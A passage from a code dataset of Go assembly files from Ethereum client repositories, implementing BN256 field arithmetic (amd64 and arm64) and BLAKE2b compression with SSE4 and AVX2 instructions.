R5, R1 ADCS R6, R2 ADCS R7, R3 ADCS R8, R4 ADCS ZR, R0 SUBS R9, R1, R5 SBCS R10, R2, R6 SBCS R11, R3, R7 SBCS R12, R4, R8 SBCS ZR, R0, R0 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpSub(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) SUBS R5, R1 SBCS R6, R2 SBCS R7, R3 SBCS R8, R4 CSEL CS, ZR, R9, R9 CSEL CS, ZR, R10, R10 CSEL CS, ZR, R11, R11 CSEL CS, ZR, R12, R12 ADDS R9, R1 ADCS R10, R2 ADCS R11, R3 ADCS R12, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpMul(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) mul(R9,R10,R11,R12,R13,R14,R15,R16) gfpReduce() MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET

0xPolygon/bor

2,193

crypto/bn256/cloudflare/gfp_amd64.s

// +build amd64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVQ a0, 0+r \ MOVQ a1, 8+r \ MOVQ a2, 16+r \ MOVQ a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVQ 0+r, a0 \ MOVQ 8+r, a1 \ MOVQ 16+r, a2 \ MOVQ 24+r, a3 #define gfpCarry(a0,a1,a2,a3,a4, b0,b1,b2,b3,b4) \ \ // b = a-p MOVQ a0, b0 \ MOVQ a1, b1 \ MOVQ a2, b2 \ MOVQ a3, b3 \ MOVQ a4, b4 \ \ SUBQ ·p2+0(SB), b0 \ SBBQ ·p2+8(SB), b1 \ SBBQ ·p2+16(SB), b2 \ SBBQ ·p2+24(SB), b3 \ SBBQ $0, b4 \ \ \ // if b is negative then return a \ // else return b CMOVQCC b0, a0 \ CMOVQCC b1, a1 \ CMOVQCC b2, a2 \ CMOVQCC b3, a3 #include "mul_amd64.h" #include "mul_bmi2_amd64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVQ ·p2+0(SB), R8 MOVQ ·p2+8(SB), R9 MOVQ ·p2+16(SB), R10 MOVQ ·p2+24(SB), R11 MOVQ a+8(FP), DI SUBQ 0(DI), R8 SBBQ 8(DI), R9 SBBQ 16(DI), R10 SBBQ 24(DI), R11 MOVQ $0, AX gfpCarry(R8,R9,R10,R11,AX, R12,R13,R14,CX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ $0, R12 ADDQ 0(SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ $0, R12 gfpCarry(R8,R9,R10,R11,R12, R13,R14,CX,AX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpSub(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ ·p2+0(SB), R12 MOVQ ·p2+8(SB), R13 MOVQ ·p2+16(SB), R14 MOVQ ·p2+24(SB), CX MOVQ $0, AX SUBQ 0(SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 CMOVQCC AX, R12 CMOVQCC AX, R13 CMOVQCC AX, R14 CMOVQCC AX, CX ADDQ R12, R8 ADCQ R13, R9 ADCQ R14, R10 ADCQ CX, R11 MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpMul(SB),0,$160-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI // Jump to a slightly different implementation if MULX isn't supported. CMPB ·hasBMI2(SB), $0 JE nobmi2Mul mulBMI2(0(DI),8(DI),16(DI),24(DI), 0(SI)) storeBlock( R8, R9,R10,R11, 0(SP)) storeBlock(R12,R13,R14,CX, 32(SP)) gfpReduceBMI2() JMP end nobmi2Mul: mul(0(DI),8(DI),16(DI),24(DI), 0(SI), 0(SP)) gfpReduce(0(SP)) end: MOVQ c+0(FP), DI storeBlock(R12,R13,R14,CX, 0(DI)) RET

0xsequence/ethkit

7,684

go-ethereum/crypto/blake2b/blake2b_amd64.s

// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build amd64,!gccgo,!appengine #include "textflag.h" DATA ·iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·iv0<>(SB), (NOPTR+RODATA), $16 DATA ·iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·iv1<>(SB), (NOPTR+RODATA), $16 DATA ·iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·iv2<>(SB), (NOPTR+RODATA), $16 DATA ·iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·iv3<>(SB), (NOPTR+RODATA), $16 DATA ·c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·c40<>(SB), (NOPTR+RODATA), $16 DATA ·c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·c48<>(SB), (NOPTR+RODATA), $16 #define SHUFFLE(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v6, t1; \ PUNPCKLQDQ v6, t2; \ PUNPCKHQDQ v7, v6; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ v7, t2; \ MOVO t1, v7; \ MOVO v2, t1; \ PUNPCKHQDQ t2, v7; \ PUNPCKLQDQ v3, t2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v3 #define SHUFFLE_INV(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v2, t1; \ PUNPCKLQDQ v2, t2; \ PUNPCKHQDQ v3, v2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ v3, t2; \ MOVO t1, v3; \ MOVO v6, t1; \ PUNPCKHQDQ t2, v3; \ PUNPCKLQDQ v7, t2; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v7 #define HALF_ROUND(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ PADDQ m0, v0; \ PADDQ m1, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFD $0xB1, v6, v6; \ PSHUFD $0xB1, v7, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ PSHUFB c40, v2; \ PSHUFB c40, v3; \ PADDQ m2, v0; \ PADDQ m3, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFB c48, v6; \ PSHUFB c48, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ MOVOU v2, t0; \ PADDQ v2, t0; \ PSRLQ $63, v2; \ PXOR t0, v2; \ MOVOU v3, t0; \ PADDQ v3, t0; \ PSRLQ $63, v3; \ PXOR t0, v3 #define LOAD_MSG(m0, m1, m2, m3, i0, i1, i2, i3, i4, i5, i6, i7) \ MOVQ i0*8(SI), m0; \ PINSRQ $1, i1*8(SI), m0; \ MOVQ i2*8(SI), m1; \ PINSRQ $1, i3*8(SI), m1; \ MOVQ i4*8(SI), m2; \ PINSRQ $1, i5*8(SI), m2; \ MOVQ i6*8(SI), m3; \ PINSRQ $1, i7*8(SI), m3 // func fSSE4(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fSSE4(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP MOVOU ·iv3<>(SB), X0 MOVO X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·iv3 ^ (CX || 0) MOVOU ·c40<>(SB), X13 MOVOU ·c48<>(SB), X14 MOVOU 0(AX), X12 MOVOU 16(AX), X15 MOVQ R8, X8 PINSRQ $1, R9, X8 MOVO X12, X0 MOVO X15, X1 MOVOU 32(AX), X2 MOVOU 48(AX), X3 MOVOU ·iv0<>(SB), X4 MOVOU ·iv1<>(SB), X5 MOVOU ·iv2<>(SB), X6 PXOR X8, X6 MOVO 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 0, 2, 4, 6, 1, 3, 5, 7) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 1, 0, 11, 5, 12, 2, 7, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 11, 12, 5, 15, 8, 0, 2, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 2, 5, 4, 15, 6, 10, 0, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 9, 5, 2, 10, 0, 7, 4, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 2, 6, 0, 8, 12, 10, 11, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 0, 6, 9, 8, 7, 3, 2, 11) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 5, 15, 8, 2, 0, 4, 6, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 6, 14, 11, 0, 15, 9, 3, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 12, 13, 1, 10, 2, 7, 4, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 15, 9, 3, 13, 11, 14, 12, 0) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) JMP loop done: MOVOU 32(AX), X10 MOVOU 48(AX), X11 PXOR X0, X12 PXOR X1, X15 PXOR X2, X10 PXOR X3, X11 PXOR X4, X12 PXOR X5, X15 PXOR X6, X10 PXOR X7, X11 MOVOU X10, 32(AX) MOVOU X11, 48(AX) MOVOU X12, 0(AX) MOVOU X15, 16(AX) MOVQ BP, SP RET

0xsequence/ethkit

23,301

go-ethereum/crypto/blake2b/blake2bAVX2_amd64.s

// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build go1.7,amd64,!gccgo,!appengine #include "textflag.h" DATA ·AVX2_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX2_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b DATA ·AVX2_iv0<>+0x10(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX2_iv0<>+0x18(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX2_iv0<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_iv1<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX2_iv1<>+0x08(SB)/8, $0x9b05688c2b3e6c1f DATA ·AVX2_iv1<>+0x10(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX2_iv1<>+0x18(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX2_iv1<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b DATA ·AVX2_c40<>+0x10(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x18(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX2_c40<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a DATA ·AVX2_c48<>+0x10(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x18(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX2_c48<>(SB), (NOPTR+RODATA), $32 DATA ·AVX_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·AVX_iv0<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX_iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX_iv1<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX_iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·AVX_iv2<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX_iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX_iv3<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX_c40<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX_c48<>(SB), (NOPTR+RODATA), $16 #define VPERMQ_0x39_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x39 #define VPERMQ_0x93_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x93 #define VPERMQ_0x4E_Y2_Y2 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xd2; BYTE $0x4e #define VPERMQ_0x93_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x93 #define VPERMQ_0x39_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x39 #define ROUND_AVX2(m0, m1, m2, m3, t, c40, c48) \ VPADDQ m0, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m1, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y1_Y1; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y3_Y3; \ VPADDQ m2, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m3, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y3_Y3; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y1_Y1 #define VMOVQ_SI_X11_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x1E #define VMOVQ_SI_X12_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x26 #define VMOVQ_SI_X13_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x2E #define VMOVQ_SI_X14_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x36 #define VMOVQ_SI_X15_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x3E #define VMOVQ_SI_X11(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x5E; BYTE $n #define VMOVQ_SI_X12(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x66; BYTE $n #define VMOVQ_SI_X13(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x6E; BYTE $n #define VMOVQ_SI_X14(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x76; BYTE $n #define VMOVQ_SI_X15(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x7E; BYTE $n #define VPINSRQ_1_SI_X11_0 BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x1E; BYTE $0x01 #define VPINSRQ_1_SI_X12_0 BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x26; BYTE $0x01 #define VPINSRQ_1_SI_X13_0 BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x2E; BYTE $0x01 #define VPINSRQ_1_SI_X14_0 BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x36; BYTE $0x01 #define VPINSRQ_1_SI_X15_0 BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x3E; BYTE $0x01 #define VPINSRQ_1_SI_X11(n) BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x5E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X12(n) BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x66; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X13(n) BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x6E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X14(n) BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x76; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X15(n) BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x7E; BYTE $n; BYTE $0x01 #define VMOVQ_R8_X15 BYTE $0xC4; BYTE $0x41; BYTE $0xF9; BYTE $0x6E; BYTE $0xF8 #define VPINSRQ_1_R9_X15 BYTE $0xC4; BYTE $0x43; BYTE $0x81; BYTE $0x22; BYTE $0xF9; BYTE $0x01 // load msg: Y12 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y12(i0, i1, i2, i3) \ VMOVQ_SI_X12(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X12(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y12, Y12 // load msg: Y13 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y13(i0, i1, i2, i3) \ VMOVQ_SI_X13(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X13(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y13, Y13 // load msg: Y14 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y14(i0, i1, i2, i3) \ VMOVQ_SI_X14(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X14(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y14, Y14 // load msg: Y15 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y15(i0, i1, i2, i3) \ VMOVQ_SI_X15(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X15(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X11(4*8); \ VPINSRQ_1_SI_X12(2*8); \ VPINSRQ_1_SI_X11(6*8); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(1, 3, 5, 7); \ LOAD_MSG_AVX2_Y14(8, 10, 12, 14); \ LOAD_MSG_AVX2_Y15(9, 11, 13, 15) #define LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() \ LOAD_MSG_AVX2_Y12(14, 4, 9, 13); \ LOAD_MSG_AVX2_Y13(10, 8, 15, 6); \ VMOVQ_SI_X11(11*8); \ VPSHUFD $0x4E, 0*8(SI), X14; \ VPINSRQ_1_SI_X11(5*8); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(12, 2, 7, 3) #define LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() \ VMOVQ_SI_X11(5*8); \ VMOVDQU 11*8(SI), X12; \ VPINSRQ_1_SI_X11(15*8); \ VINSERTI128 $1, X11, Y12, Y12; \ VMOVQ_SI_X13(8*8); \ VMOVQ_SI_X11(2*8); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X11(13*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(10, 3, 7, 9); \ LOAD_MSG_AVX2_Y15(14, 6, 1, 4) #define LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() \ LOAD_MSG_AVX2_Y12(7, 3, 13, 11); \ LOAD_MSG_AVX2_Y13(9, 1, 12, 14); \ LOAD_MSG_AVX2_Y14(2, 5, 4, 15); \ VMOVQ_SI_X15(6*8); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X15(10*8); \ VPINSRQ_1_SI_X11(8*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() \ LOAD_MSG_AVX2_Y12(9, 5, 2, 10); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X11(4*8); \ VPINSRQ_1_SI_X13(7*8); \ VPINSRQ_1_SI_X11(15*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(14, 11, 6, 3); \ LOAD_MSG_AVX2_Y15(1, 12, 8, 13) #define LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X11(8*8); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(12, 10, 11, 3); \ LOAD_MSG_AVX2_Y14(4, 7, 15, 1); \ LOAD_MSG_AVX2_Y15(13, 5, 14, 9) #define LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() \ LOAD_MSG_AVX2_Y12(12, 1, 14, 4); \ LOAD_MSG_AVX2_Y13(5, 15, 13, 10); \ VMOVQ_SI_X14_0; \ VPSHUFD $0x4E, 8*8(SI), X11; \ VPINSRQ_1_SI_X14(6*8); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(7, 3, 2, 11) #define LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() \ LOAD_MSG_AVX2_Y12(13, 7, 12, 3); \ LOAD_MSG_AVX2_Y13(11, 14, 1, 9); \ LOAD_MSG_AVX2_Y14(5, 15, 8, 2); \ VMOVQ_SI_X15_0; \ VMOVQ_SI_X11(6*8); \ VPINSRQ_1_SI_X15(4*8); \ VPINSRQ_1_SI_X11(10*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() \ VMOVQ_SI_X12(6*8); \ VMOVQ_SI_X11(11*8); \ VPINSRQ_1_SI_X12(14*8); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, 